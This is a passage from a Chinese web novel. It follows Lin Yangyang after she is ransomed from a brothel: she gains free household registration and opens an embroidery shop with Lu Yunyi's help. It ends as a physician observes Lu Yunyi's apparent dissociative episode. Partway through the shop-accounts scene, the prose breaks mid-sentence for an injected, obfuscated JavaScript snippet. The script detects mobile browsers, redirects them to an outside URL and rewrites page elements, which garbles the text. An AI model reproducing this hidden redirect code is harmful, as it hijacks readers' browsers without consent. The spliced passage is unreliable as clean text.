写自己误入青楼,花一千两银子赎了个女子?萍儿看了,大约会先担心他有没有惹祸,再问那女子可有安身之处。父亲若看见,也许只会皱皱眉,说一句不成体统。 至于皇帝…… 陆云逸想起陆棣昤的脸,心里无端生出几分不自在。 皇帝或许会笑。 不是嘲笑,而是那种长辈看见年轻人做了件好事,却知道这好事背后有许多麻烦时的笑。 他会说:“云逸,救人不是这样救的。” 陆云逸放下笔。 窗外的广陵夜色潮湿而明亮。河风从缝里透进来,灯火晃了晃。隔壁屋里始终安静,安静得不像住着一个刚刚脱离青楼的女子。 陆云逸忽然觉得,林鸯鸯比自己更明白这个世道。 他从前总以为,世上的事大多有法可依,有理可讲。若有人受了冤屈,便告到官府;若有人受了欺辱,便寻人主持公道;若有人陷在困境里,给她银钱,让她脱身,总能有条路。 可林鸯鸯的话让他第一次意识到,有些人不是困在一间屋子里,而是困在一整个世道里。 一千两银子能赎出她的人,却赎不出她的命。 第二日清晨,林鸯鸯没有吃早饭。 小二把饭菜原样端出来,悄悄看了陆云逸一眼。 “客官,那位姑娘说,不知道这顿饭算不算钱。” 陆云逸怔了怔。 他去敲林鸯鸯的门。 门开时,林鸯鸯已经换上了客栈临时买来的素色衣裳。那衣裳袖口太宽,穿在她身上不大合适。她手里拿着一根细针,正低头把袖口往里收。 陆云逸看见那针脚,停了一下。 她动作很慢,却很稳。针从布里穿过去,又从另一边出来,线收得不紧不松。那不是临时胡乱缝几下能有的手法。 “你会针线?”陆云逸问。 林鸯鸯把线咬断,低声道:“会一点。” “在哪里学的?” 林鸯鸯把袖口抚平,像是在说一件很寻常的事。 “小时候还没被卖进去时,跟邻家的婶子学过几针。后来在楼里,有些姑娘私下接帕子、荷包做,我也跟着看过。楼里不许我们藏私活,发现了要挨打,所以只能偷偷做。” 陆云逸看着那几行细密针脚。 他原本正愁不知道该如何让她安身。银子能给,屋子能租,可一个人若没有能养活自己的本事,终究还是站不稳。 他问:“若让你靠针线挣饭吃,行吗?” 林鸯鸯抬起头。 她没有立刻说行,也没有立刻摇头。 过了一会儿,她道:“一个人做几只荷包,或许能换些钱。可若要靠这个活下去,不容易。” “为什么?” “布料要钱,丝线要钱,客人要找,价钱要谈。做得慢了,赚不到饭钱;做得差了,没人再来。更要紧的是,我这样的女子,就算东西做得好,也未必有人肯买。” 她说这些话时,神色平静。 平静得像是在说别人的事。 陆云逸却觉得胸口被什么堵住了。 他以前知道礼法森严,也知道女子名声重要。可知道是一回事,亲耳听一个女子如此清楚地说出自己将要面对的路,又是另一回事。 “若换个名字呢?”陆云逸忽然问。 林鸯鸯抬眼。 “什么?” “换个名字,换个来历。铺子不说是你开的,对外只说是外地来的绣坊。你不必亲自站到前头,先雇一个年长些、看着稳妥的妇人管门面。你在后头管事、看货、定花样。” 林鸯鸯愣住。 这个法子不算光明,可很有用。 陆云逸继续道:“至于醉春楼那边,老鸨收了银子,未必愿意得罪我。只要她不说,你过去的身份便不会那么快传开。” 林鸯鸯看着他,目光第一次有了几分探究。 “公子刚才还不知道怎么让我安身,现在倒想得很快。” 陆云逸道:“我只是顺着你说的难处想。” 林鸯鸯没有再笑他天真。 她忽然意识到,眼前这个人或许确实不懂民间生意,不懂一个女子在市井中要怎样活下去,可他会学。他不是那种只把银子扔出来便以为万事皆了的人。 这在她见过的男人里,已经很少见了。 可林鸯鸯还是没有立刻答应。 她低头看着自己的手,过了很久才说:“公子,我连良籍都没有。” 陆云逸一时没有明白。 林鸯鸯轻声道:“我六岁被卖,后来几经转手进了醉春楼。楼里给我取了新名,也替我在官府那边挂了贱籍。公子今日替我赎身,只是从楼里买了我这个人。可在官府册上,我仍是那样的人。” 陆云逸沉默下来。 这确实是他先前没有想到的事。 他以为银子交了,人便自由了。可在这个世道里,一个人的自由从来不只在自己身上,还在契纸里,在户册里,在官府的笔下。 若那一笔不改,林鸯鸯就算出了醉春楼,也仍像一只脚被链子拴着。 “要怎么改?”陆云逸问。 林鸯鸯看着他。 “很难。” “多难?” “要楼里放契,要官府肯改册。还要有人作保,证明我不是逃奴,不是私娼,不是无来历的人。” 陆云逸问:“若没有人作保呢?” 林鸯鸯笑了一下。 “那我便只是从一座楼里走出来,换个地方等着再被人拖回去。” 陆云逸没有再说话。 他走到桌前,倒了一杯早已凉掉的茶,喝了一口,又放下。 那茶很苦。 片刻后,他说:“我去办。” 林鸯鸯抬头:“公子?” “你先吃饭。” “这不是小事。” “我知道。” “公子未必办得成。” 陆云逸看着她:“那也要先去办。” 林鸯鸯没有再劝。 她望着这个年轻公子,忽然有些弄不懂他。昨夜他在醉春楼花一千两银子赎她,或许还可以说是一时心善,一时冲动。可今日他要替她去官府改籍,那便不是冲动能解释的事了。 这件事麻烦,且不体面。 一个出身高贵的公子哥,原本不必为她这样的人沾这些麻烦。 可是陆云逸去了。 他先去了醉春楼。 白日的醉春楼没有夜里那样热闹。红灯灭了,门前也冷清些。老鸨正在楼里喝茶,见陆云逸来,脸上的笑立刻堆起来。 “公子昨夜可还满意?” 陆云逸看着她。 “我要林鸯鸯的身契。” 老鸨脸上的笑淡了些,又很快恢复。 “公子说笑了。昨夜银货两讫,人都已经跟公子走了,身契自然也能给。只是这中间还有些打点……” “多少?” 老鸨一顿。 她原本准备绕几句,没想到陆云逸这样直接。 她伸出三根手指。 “三百两。” 陆云逸没有说话。 他看着老鸨,看得老鸨心里慢慢发虚。 “公子,这也不是奴家一个人拿。楼里上下,官府那边,都要……” “一百两。” 老鸨笑容僵住。 陆云逸道:“昨夜一千两已经足够买你闭嘴。今日一百两,是买你把该给的东西拿出来。若你不愿意,我也可以去问问广陵府,醉春楼这些年买卖女子的契纸,可都清楚。” 老鸨脸色终于变了。 她见过不少富家公子。有的好色,有的怜香,有的挥金如土,有的装作正人君子。可眼前这个少年,昨日看着还有几分生涩,今日再来,却像突然学会了怎么同她这种人说话。 他未必懂青楼。 但他懂权势。 老鸨心里掂量了一番,终究没有再硬顶。 她让人去取契纸。 那张薄薄的纸被拿出来时,陆云逸看了一眼。 上头写着林鸯鸯三个字。 不是甜甜。 林鸯鸯这个名字是醉春楼给她的。 老鸨曾嫌她原来的名字太土,不像楼里值钱的姑娘,便替她改了。她原本叫甜甜。六岁那年被人卖掉,卖她的人说,去了好人家,有糖吃。后来她才知道,有些话是大人专门说给小孩子听的,听着甜,吃下去却苦。 陆云逸把契纸收好,付了银子,又去了广陵府衙。 府衙门前石狮子蹲得很稳。 进出的人见了官差,都下 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她看着那张纸,像是不认识它,又像是不敢碰它。 陆云逸道:“从今日起,官府册上,你是良籍。” 林鸯鸯的手微微发抖。 她伸出去,又缩回来。 过了很久,她才用指尖轻轻碰了碰那张纸。 “这上面写的是什么?” 陆云逸道:“写你是广陵城中民户。” “写我的名字了吗?” “写了。” “什么名字?” 陆云逸顿了一下。 “林鸯鸯。” 林鸯鸯低下头。 陆云逸道:“若你想改回原来的名字,之后也可以再想办法。” 她沉默很久,轻声说:“先这样吧。” “为何?” “甜甜太小了。”她说,“她六岁就丢了。现在把她一下子叫回来,她也不知道该怎么活。” 陆云逸没有说话。 林鸯鸯把那张户帖捧起来,看了很久。 她其实看不懂。 纸上的每一个字对她来说都像陌生的墨痕。可她知道,这张纸和从前那些契纸不一样。契纸把她卖给别人,户帖却至少承认她是一个人。 一个可以站在阳光下、有名字、有来处、有去处的人。 她忽然落下泪来。 不是大哭。 只是眼泪一颗一颗落到纸边,她忙把户帖挪开,怕弄湿了。 陆云逸转过身去,假装没有看见。 那天晚上,林鸯鸯终于吃了一顿完整的饭。 吃得很慢,却没有再问这顿饭要不要钱。 接下来的几日,林鸯鸯仍不太敢出门。 她不是不信那张户帖,而是不信这世道会因为一张纸就真的放过她。 白日里,客栈楼下人来人往,她听见男子大声说笑,身子仍会微微一僵。街上传来醉春楼方向的丝竹声,她会下意识关上窗。陆云逸没有催她。 一个人从笼子里走出来,不能立刻就会飞。 最初两日,她只敢站在窗边往外看。 第三日,她下楼走到客栈后院。 第五日,她跟着陆云逸去了隔壁街上的布铺。她低着头,不说话,只用手轻轻摸了摸几匹布料。掌柜问她要什么颜色,她吓了一下,还是小声答了:“素一些的。” 第七日,她自己出门买了一包针线。 回来时,手里还多了一枝栀子花。 陆云逸看见那枝花,有些意外。 “你买的?” 林鸯鸯点头。 “卖花的小姑娘说,今日的花新鲜。” 她把花插在桌上的粗瓷杯里。 白色小花在杯中轻轻颤着,香气很淡。 陆云逸看着那枝栀子花,忽然觉得,这比他替她拿到户帖时更像一个开始。 一个人敢为自己买一枝无用的花,说明她心里已经不只是想着活命了。 又过了几日,林鸯鸯主动问:“公子,你前些日子说的铺子,还作数吗?” 陆云逸看向她。 “作数。” “若要开,不能开在太偏的地方。偏了没人来。也不能开在太贵的街上,租不起。最好前头有人管门面,我在后头做活。” 她停了一下,又补充道:“账也要想法子。我不会写字,但钱要数清。布料多少钱,丝线多少钱,工钱多少,卖了多少,都不能糊涂。” 陆云逸听她一条一条说着,慢慢笑了。 “你想好了?” “没想好。”林鸯鸯也看着他,“可总要试。” 她说这句话时,眼里仍有不安。 可那不安里,已经有了一点别的东西。 像春水刚破冰时露出的一点亮光。 很小。 却是真的。 陆云逸道:“那我们先找铺子。” 林鸯鸯点头。 她走到桌边,把那张户帖仔细折好,压在枕下。 那是她这辈子第一次拥有一张属于自己的官府文书。 她不识字,也还不知道往后的路到底能不能走通。 可是这一夜,她睡得比前几夜安稳些。 窗外广陵河水缓缓流过,灯火倒映在水面上,被风吹散,又重新聚拢。 这座城仍然不曾因为她改变什么。 但她自己,已经和昨日不同了。 4. 春水半间容客住 林鸯鸯说要试一试,第二日便真的跟陆云逸出了门。 她没有再躲躲闪闪。只是换了一身素净衣裳,把头发梳得整齐,脸上不施脂粉,看起来同街上许多寻常女子没有什么两样。 这正是她想要的。 从前她太显眼。显眼到站在醉春楼的灯下,便有人给她喊价。如今她反倒盼着自己不显眼,能从一条街走到另一条街,从一家铺子走到另一家铺子,没有人多看她一眼。 这世上有些人一生都怕被埋没。林鸯鸯却知道,一个女子若从那种地方出来,能被人当作寻常人,已经很不容易。 陆云逸走在她身侧,刻意慢了几步。 两人不像主仆,也不像亲眷,更不像寻常同行的男女。林鸯鸯察觉到了这一点,低声道:“公子若总这样顾着我,旁人反倒要看。” 陆云逸一怔。 林鸯鸯看着前头的街市,轻声说:“你只管往前走。我跟得上。” 陆云逸便没有再刻意等她。 广陵的绣市在城南。 那一带铺子多,来往的也多是妇人、丫鬟、采买的婆子和小商贩。街边挂着各色帕子、香囊、绣样,远远看去,像春天的花全落到了檐下。 陆云逸先前看街,只看热闹。如今陪林鸯鸯看铺子,才知道热闹也分许多种。 有的热闹能带来客人,有的热闹只会带来麻烦。 第一处铺子在街口,门面大,位置好。铺主说得天花乱坠,说只要招牌一挂,不愁无人上门。可林鸯鸯站在门前看了一会儿,便摇了摇头。 “太贵。” 铺主笑道:“姑娘还没问价,怎么就说贵?” 林鸯鸯道:“这么好的位置,价钱不会低。我们刚开铺子,不能一开始就把钱压在门面上。” 铺主脸色不大好看。 陆云逸也没多言,只带她离开。 第二处在一条小巷里,租金确实低,后头还有一间小屋。林鸯鸯进去看了一圈,摸了摸墙,又看了看屋顶。 “这里太潮。” 陆云逸道:“会坏布料?” “会坏布料,也会坏人。绣娘坐久了,手指会僵,东西也容易霉。” 陆云逸点点头。 第三处离绣市不远,门面不大,后头有两间屋。左边是一家纸扎铺,右边是修伞匠。街上人不算最多,却一直有人经过。林鸯鸯在门前站了许久。 铺主是个瘦高男人,见他们有意,忙说:“这铺子好,后头能住人,前头能做买卖。姑娘若做绣品,正合适。” 林鸯鸯没有答他,只问:“这铺子空了多久?” 铺主道:“没多久。前一个租客家里有事,才退了。” “做什么营生的?” “也是做些针线活。” “为何退?” 铺主笑道:“都说了,家里有事。” 林鸯鸯看了陆云逸一眼。 陆云逸明白她的意思。 铺主的话不能全信。 他们没有立刻定下,而是进了隔壁纸扎铺。 纸扎铺里挂着纸人、纸马、纸灯笼。白日看着还好,若到了夜里,恐怕会有些冷清。柜台后坐着一个老人,头发花白,眼神不大好,正眯着眼糊纸钱。 老人抬头问:“二位买什么?” 陆云逸道:“不买纸钱,想向先生打听些事。” 老人看了看他,又看了看林鸯鸯。 “打听隔壁铺子?” 林鸯鸯道:“是。” 老人把手里的纸钱放下。 “你们要租?” 林鸯鸯点头:“有这个意思。” 老人道:“那可要想清楚。这铺子去年冬天就空过一阵。春上租给一户做绣品的人家,没撑满两个月便退了。不是地方坏,是这条街做绣品的不少。若没有新鲜花样,又没有熟客,生意不好做。” 林鸯鸯听得很认真。 “前头那家为什么撑不下去?” 老人道:“东西不差,可价钱高。又舍不得做小件,只想接大活。大活哪有那么容易?有钱人家的生意,早被熟铺子拿走了。新来的铺子,先得让人信得过。” 林鸯鸯沉默片刻,问:“铺主开的租金,先生觉得公道吗?” 老人问了数目,摇头。 “高了。至少高三成。” 铺主在隔壁隐约听见,忍不住探头道:“李老先生,你这就不厚道了。” 老人哼了一声。 “人家问我,我照实说。你若怕人问,就别把价开那么高。” 铺主悻悻缩回去。 林鸯鸯向老人行了一礼。 “多谢先生。” 老人摆摆手:“谢什么。我这纸扎铺开了二十多年,见过的生意开开关关多了。做买卖,不只是有银子就行。银子是水,没个沟渠,哗一下就流没了。” 林鸯鸯把这句话记住了。 他们从纸扎铺出来,重新去找铺主谈价。 这一次,开口的是林鸯鸯。 她说话声音不高,却很稳。先说铺子确实合用,再说这条街绣品铺多,新铺没有熟客,头几个月未必撑得住。又提到前租客退得快,说明这处并非铺主说的那样不愁租。 铺主起初还硬撑着。 “姑娘若嫌贵,自可另看。” 林鸯鸯点头:“那便另看。” 她说完真往外走。 铺主没想到她这样干脆,忙喊住她。 “价钱也不是不能商量。” 最后租金降了三成。 签契时,陆云逸把契书一条一条看过。租期、押银、月租何时交,屋顶漏雨算谁修,若中途退租押银还不还,都问得清楚。 林鸯鸯站在旁边听。 她不识字,却没有装作自己懂。每听到一处不明白的地方,便问陆云逸。铺主有些不耐烦,林鸯鸯却不退。 她知道自己怕纸。 那些写满字的纸,曾经能把她卖来卖去。她看不懂,可她知道纸上每一笔都能落到人身上。如今她既然要开铺子,便不能再让自己糊里糊涂地被纸牵着走。 契书签好后,铺子便算定下了。 接下来要找一个能站在前头管门面的人。 林鸯鸯不能日日站在前头。她如今有了良籍,也敢出门了,可她从醉春楼出来的事终究不能让人知道。铺子若想长久做下去,前头最好有个年纪大些、说话硬气些的妇人。 这个人是林鸯鸯自己看中的。 那日她和陆云逸去布铺买布料,正碰见一个中年妇人与掌柜争账。 那妇人四十来岁,穿着旧青布衣裳,袖口洗得发白,头发梳得利落。她一手提着篮子,一手拍在柜台上,声音不高,却句句清楚。 “我昨日送来的两床被面,你说好三十文一床。今日结钱,怎么成了二十五文?” 掌柜道:“你那针脚粗了些。” 妇人冷笑:“昨日收货时你怎么不说粗?昨日你若说,我立刻拿回去拆。今日东西都送走了,你说粗了?” 掌柜被她堵得没话,只好道:“那也不能按三十文。” 妇人道:“不能按三十文,那我便日日来你门口问,叫街坊们也评评理。你们铺子不缺我这几文钱,我缺。” 围观的人笑起来。 掌柜脸上挂不住,最后还是把钱补给了她。 妇人收了钱,数了两遍,确认无误,才转身离开。 林鸯鸯看着她的背影,道:“就是她。” 陆云逸顺着她的目光看去。 “她?” “嗯。” “你认识?” “不认识。” “那怎么知道她合适?” 林鸯鸯道:“她不怕人,也记得住账。最要紧的是,她知道自己缺那几文钱,所以不会随便让人糊弄。” 陆云逸觉得这话很有道理,便让小二打听。 那妇人姓秦,附近人都叫她秦嫂。丈夫早年死了,儿子在外地做工,家里只剩她一个。她做过浆洗,卖过馄饨,也替人看过孩子。不识字,但会算钱,会过日子,也会吵架。 两日后,秦嫂来了铺子。 她进门后,先把前后看了一遍,又摸了摸柜台,最后看向林鸯鸯。 林鸯鸯没有躲。 秦嫂也没有问她来历,只说:“你们这铺子小,做不成大买卖。” 林鸯鸯道:“先养活几个人就够了。” 秦嫂看她一眼。 “你说话倒实在。” 陆云逸把工钱说了。 秦嫂听完,问:“管饭吗?” “管。” “若有客人赖账,我能骂吗?” 林鸯鸯道:“能。” “若有人嘴不干净呢?” “也能骂。” 秦嫂笑了。 “那我做。” 林鸯鸯也笑了。 她觉得这人确实合适。 铺子修整了几日。 墙角补了,柜台擦了,后屋也打扫干净。陆云逸出钱买了布料丝线,又添置桌椅木架。秦嫂在前头指挥搬东西,声音又粗又亮。她才来了两日,便同右边的修伞匠吵了一架。原因是修伞匠总把竹篾堆到铺门口,挡了路。 修伞匠起初不让。 秦嫂叉着腰站在门前说了半刻钟。 最后修伞匠默默把竹篾搬回去了。 林鸯鸯在后屋听着,忍不住笑。 她现在偶尔也会到前头去。 不是一直站着,只是看一看客人走动,看一看街上人流。有妇人进来问东西,她也会说两句。她说话温和,不像秦嫂那样直来直去,却总能听出对方真正想要什么。 秦嫂后来私下对陆云逸说:“她适合做买卖。” 陆云逸问:“怎么说?” 秦嫂道:“我只会看人给不给钱,她会看人为什么肯给钱。” 这话说得粗,却很准。 开张前,林鸯鸯给铺子取了名字。 春水绣坊。 陆云逸问她:“为何叫春水?” 林鸯鸯正在分线,闻言低声道:“广陵水多。水看着柔,其实最能走远。” 陆云逸没有再问。 招牌还是请李老先生写的。 李老先生的字不算名家手笔,却干净端正。写完后,他把纸铺在桌上,让几个人看。 秦嫂看了半天,道:“我也看不懂好坏。” 李老先生气得吹胡子。 “看不懂你还盯这么久?” 秦嫂理直气壮:“我看看它值不值得挂出去。” 李老先生懒得理她。 林鸯鸯站在旁边,看着那四个字。她其实也不认识,只知道那是“春水绣坊”。她看了很久,忽然问:“哪个字是水?” 李老先生一愣,指给她看。 “这个。” 林鸯鸯盯着那个字,轻轻点头。 这是她想认的第一个字。 不是自己的名字。 而是这间铺子的名字里,最能走远的那个字。 春水绣坊开张那日,天气很好。 秦嫂站在前头招呼客人。她不识字,可嘴皮子利落,见人说人话,见挑剔的也不怯。客人问价,她算得快;客人嫌贵,她便把用料、针脚、工钱一样一样说出来。 有人笑她:“你一个不识字的妇人,也来做掌柜?” 秦嫂道:“我不识字,又不是不识钱。你若买东西,我招呼你;你若来考我识字,隔壁纸扎铺有先生,你找他去。” 那人被她噎得说不出话,旁边几个妇人倒笑起来。 第一日生意不算好,却也卖出了几只香囊和两方帕子。 到了晚上,问题便来了。 秦嫂把铜钱倒在桌上,数了一遍,又数一遍,皱眉道:“不对。” 林鸯鸯问:“哪里不对?” “今日卖出去的东西,我都记得。可这匣子里的钱,和我心里算的差了八文。” 陆云逸坐在旁边,也跟着数。 数到最后,才发现不是少了钱,而是有一位客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520929|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付了半数定钱,秦嫂放进收钱匣子后,又另放了一根欠账竹筹,结果两边算重了。 三个人对着桌上的铜钱和竹筹,一时都沉默了。 秦嫂叹气:“这才第一日,就乱成这样。往后客人多起来,还了得?” 林鸯鸯也没有说话。 她知道,靠脑子记不是办法。人一忙,一乱,一害怕,就会错。 第二日傍晚,林鸯鸯去了隔壁纸扎铺。 李老先生正坐在灯下糊纸马。 她站在门口,行了一礼。 “先生能不能帮我们写账?” 李老先生抬头看她。 “写账?” “我们不识字,只能数钱记竹筹。可久了怕乱。先生若肯每日傍晚替我们写几笔账,我们按月给先生钱。” 李老先生皱眉。 “我一个糊纸钱的,替绣坊写账,算什么事?” 秦嫂站在旁边道:“算救命的事。” 李老先生看她一眼。 秦嫂把竹筹和铜钱往桌上一放。 “你看,我们再这么记下去,不出十日就要吵起来。到时候铺子没倒在客人手里,先倒在我们自己手里。” 李老先生被她说得没了脾气。 他拿起一根竹筹,看见上头刻得歪歪扭扭,叹了一口气。 “罢了。每日只写半个时辰,多了不写。” 林鸯鸯低头道:“多谢先生。” 从那以后,每日收铺后,春水绣坊后屋便多了一件事。 秦嫂数钱,林鸯鸯对货,陆云逸在时便帮着核算。李老先生坐在油灯下,把她们白日用竹筹和铜钱记下的进出,一笔一笔写到账册上。 写一条,他便念一条。 林鸯鸯听着。 她听不懂那些字,却能听懂钱数对不对。 有一次,李老先生把二十文念成三十文。林鸯鸯立刻道:“不对,是二十。” 李老先生有些惊讶。 “你又不识字,怎么知道?” 林鸯鸯道:“今日只卖了两个香囊,一个十二文,一个八文。没有三十文。” 秦嫂在旁边笑。 “她眼睛毒着呢,先生别想糊弄她。” 李老先生吹胡子。 “我糊弄你们做什么?老眼昏花罢了。” 从那以后,他写账时更认真了些。 陆云逸看着这一幕,心里有一种奇异的触动。 他从前见过朝廷账册。户部的账一摞一摞,写的是州郡赋税、军饷粮草、盐铁进出。那些数字很大,大到普通人一辈子也想不明白。 可春水绣坊的账很小。 几文,几十文,半两,一两。 小到在许多官员眼中不值一提。 可对林鸯鸯她们来说,这些小数目就是活下去的根。若少记一笔,可能就少买半斤米;若欠账收不回来,可能下个月便付不起工钱。 陆云逸忽然觉得,治国的账和这小铺子的账,其实并没有那么不同。 只不过一边写在朝堂里,一边写在油灯下。 一边错了,许多人看不见;另一边错了,眼前的人就要挨饿。 春水绣坊开张半个月后,第一桩像样的买卖来了。 那买卖不是凭空掉下来的。 秦嫂连着几日带着几只香囊去附近茶铺、布铺和熟识的浆洗人家走动。她嘴上说是串门,其实见人便把春水绣坊夸一遍。后来有个富商家的小姐要给母亲备寿礼,想找些新巧的香囊,便被人引到了这里。 林鸯鸯没有急着接。 她先问那小姐喜欢什么颜色,又问寿宴在何时,最后拿了几种样子给她看。那小姐原本只是随便看看,没想到样子清雅,不像别处那般艳俗,便订了二十个。 银子不多,却是个好开头。 林鸯鸯拿到定钱时,手指微微发抖。 陆云逸看见了,却没有说破。 那天晚上,李老先生在账册上写下这第一笔像样的买卖。 秦嫂把铜钱一枚一枚数好,放进收钱匣子。 那个声音很轻。 一枚铜钱碰着另一枚铜钱,叮的一声。 林鸯鸯听着那声音,眼眶忽然有些热。 她从前在醉春楼见过许多银子。 那些银子从男人袖子里拿出来,递给老鸨,递给龟奴,递给跑堂的小厮,却从来没有一枚真正属于她。 今日这几十文钱不多。 却是她们靠自己的手挣来的。 李老先生念完账,林鸯鸯忽然问:“先生,账上哪个字是进?” 李老先生看了她一眼。 “这个。” 他指给她看。 “哪个是出?” “这个。” “哪个是欠?” 李老先生又指了一个。 林鸯鸯看了很久。 三个字在她眼里仍像三团陌生的墨。 可她第一次认真地想把它们记住。 因为她忽然明白,识字不只是读书人的体面。 识字是防身。 是开门的钥匙。 是别人再想欺她时,她能看见那只手伸向哪里的本事。 那天夜里,林鸯鸯问李老先生借了一张废纸。 她照着账册上的“水”字,慢慢临了一遍。 写得歪歪扭扭,像一条快要断开的河。 秦嫂凑过来看了看,皱眉道:“这是字?” 林鸯鸯笑了。 “是水。” 秦嫂看了半天,摇头道:“不像。” 林鸯鸯把那张纸小心收起来。 “以后会像的。” 窗外,广陵的河水缓缓流过。 它不问岸上的人认不认得字,也不问一个女子从哪里来、往哪里去。它只是日夜不停地流着。 林鸯鸯坐在灯下,看着自己写坏的那个“水”字,忽然觉得,这间小小的绣坊也许真的能撑下去。 哪怕只是一天一天地撑。 那也是路。 5. 病魂低唤旧名留 陆云逸说到这里,忽然停住了。 屋子里原本很安静。炭火在铜盆里烧着,偶尔发出轻微的噼啪声。窗外的天色已经暗下来,院子里有风,吹得枯叶在石阶上轻轻打转。 颜淞等了一会儿,没有催。 他以为陆云逸只是说得累了。 一个人把藏在心里的事说出来,往往比走很远的路还要耗力气。尤其是这样一段旧事,说到最后,已经不是在讲别人,而像是用手去揭自己心上的痂。 萍儿也看出来了,忙上前道:“云逸,今日先歇一歇吧。” 陆云逸没有应声。 他坐在窗下,手还放在膝上,背挺得很直。方才说起林鸯鸯时,他虽脸色苍白,神情却还温和,眼底也有人的悲伤。可此刻,他脸上的那点悲伤忽然像被什么东西收走了。 他的眼神冷了下来。 不是发怒的冷,也不是怨恨的冷,而是那种野地里受过伤的人才有的冷。像一个人在很久以前就知道,软弱没有用,哭也没有用,所以把所有多余的东西都藏了起来。 颜淞心里微微一动。 “殿下?” 陆云逸没有看他。 萍儿低声唤道:“云逸?” 陆云逸仍旧不答。 他只是慢慢转过头,看向窗外。窗外没有什么,只有天井里一株落了叶的老树。树枝在风里晃着,影子打在窗纸上,一下一下,像有人在纸外伸手。 萍儿有些慌了。 “云逸,你怎么了?” 陆云逸终于有了反应。 他抬眼看向萍儿。 那一眼让萍儿的心猛地沉下去。 她养了这个孩子十几年。她见过陆云逸生气,见过他沉默,见过他小时候病中迷迷糊糊喊母亲,也见过他被先生责罚后不肯掉泪。可她从未见过他用这样的眼神看自己。 陌生。 戒备。 像在看一个不确定会不会伤害他的人。 萍儿的声音轻了些:“云逸,是干妈。” 陆云逸看着她,没有说话。 颜淞放下笔。 他没有急着上前,也没有让萍儿再问。看病有时候和过河一样,水势不明时,越急越容易踩空。 他温声道:“殿下可是乏了?” 陆云逸仍不答。 颜淞又问:“还记得方才说到哪里了吗?” 屋中沉默。 过了一会儿,陆云逸的手指动了一下。 他把桌边那盏茶往远处推了推。 这个动作很小,却很清楚。 他不想碰别人递来的东西。 颜淞看在眼里,心里又记了一笔。 萍儿低声道:“茶是我亲手倒的。” 陆云逸没有看她。 他只是把手收回袖中,坐得更直了些。那姿势不像王府里的小王爷,倒像一个在荒郊野地里歇脚的人,哪怕坐着,也没有真正放松。 颜淞忽然问:“你是谁?” 这句话一出口,萍儿脸色就变了。 “颜太医……” 颜淞没有看她,只看着陆云逸。 陆云逸终于转过头。 他的眼神落在颜淞脸上,停了片刻,又移开。 他还是不说话。 颜淞继续问:“你不愿说名字?” 陆云逸垂下眼。 屋中又静了下来。 良久,他的唇动了动。 声音很低,几乎听不清。 “名字没有用。” 萍儿一怔。 颜淞却听清了。 他心里一紧,面上仍不动声色。 “为何没有用?” 陆云逸不再回答。 他像是后悔自己说了那一句话,重新闭上了嘴。之后无论颜淞再问什么,他都不肯出声。 问他是否记得林鸯鸯,他不答。 问他是否记得广陵,他不答。 问他是否记得自己是明亲王府的小王爷,他仍旧不答。 只有当萍儿试着靠近他时,他的肩背会微微绷紧。那不是厌恶,而是一种本能的防备。 萍儿看得眼眶发红。 “他从来不会这样防我。” 颜淞低声道:“萍儿姑娘,先别近前。” 萍儿停住脚步。 她不是不懂事的人。她知道这个时候自己若硬要靠过去,只会叫陆云逸更不安。可知道是一回事,看着自己亲手养大的孩子这样防着自己,又是另一回事。 她退到一旁,手指紧紧攥住袖口。 天色彻底暗了。 丫鬟进来点灯,刚走到桌边,陆云逸忽然抬眼看了她一下。 那丫鬟吓得手一抖,灯油险些洒出来。 颜淞道:“灯放下便出去。” 丫鬟忙照做。 屋里重新只剩下三个人。 灯点起来以后,陆云逸的脸一半在光里,一半在暗里。颜淞看着他,心中忽然想起很多年前师傅说过的一句话。 人心若受大惊大痛,有时便会自保。 自保的法子各不相同。有的人忘事,有的人痴笑,有的人哭泣不止,有的人整日昏睡。还有一种少见的,叫作离魂分魄。 师傅说,所谓离魂分魄,并非真有几个魂魄住在一副身子里。只是人的心承受不住一整个人生,便把难以承受的那一部分分出去。遇见不同的事,便有不同的一面出来挡着。 颜淞当年听这话时,还年轻,觉得玄而又玄。 他问师傅:“若一人之身,真能如几人,那还是病吗?岂不是妖?” 师傅当时正在晒药,闻言只笑了笑。 “世上哪有那么多妖。人比妖苦多了。” 颜淞后来在民间见过一个女子。 那女子嫁人三年,丈夫嗜赌,婆母苛刻。她白日里沉默寡言,夜里却会梳着未嫁时的发式,说自己还是十六岁的姑娘,明日要去河边洗衣。旁人都说她鬼上身,请道士来驱。颜淞的师傅看过后,只说不是鬼,是她心里实在不愿活成后来的样子,便躲回从前去了。 那是颜淞第一次听见“离魂分魄”四字。 如今看着陆云逸,他忽然又想起这个病。 可是眼前的人与当年那个民间妇人又不一样。 那女子的病是乱的,像被水冲散的浮萍,不知自己漂到哪里。 陆云逸的病却太静。 静得像一把收在鞘里的刀。 颜淞又试着问了几句。 陆云逸仍然不答。 最后,他低声道:“今日就到这里吧。” 萍儿忙问:“那云逸……” “让他歇着,不要多人围着,也不要逼他说话。夜里留两个人在外头守着,屋里不要留太多人。他若愿睡,便让他睡。他若不睡,也别强劝。吃食茶水放在他看得见的地方,不要递到手边。” 萍儿点头,一一记下。 颜淞收拾纸笔时,陆云逸忽然看了他一眼。 那眼神很短。 颜淞却觉得,他像是在衡量自己。 不是病人看大夫,而是一个走夜路的人看陌生人,判断这个人是敌是友,是路人,还是麻烦。 颜淞心中更加不安。 他背起药箱,走出听雪斋。 院子里已经起了夜雾。 明亲王府很大,却安静得过分。远处廊下挂着灯,灯光照不到的地方,黑沉沉的。颜淞走过石径时,听见身后屋门轻轻关上。 萍儿送他到院门口。 她压低声音问:“颜太医,云逸这到底是什么病?” 颜淞没有立刻回答。 他向来不愿把话说死。尤其是心病,更不能轻易给一个定名。名字一落下去,旁人便容易只看见病名,看不见人。 可此刻萍儿看着他的眼神,让他不忍完全敷衍。 他说:“像是离魂之症。” 萍儿脸色白了白。 “离魂?” 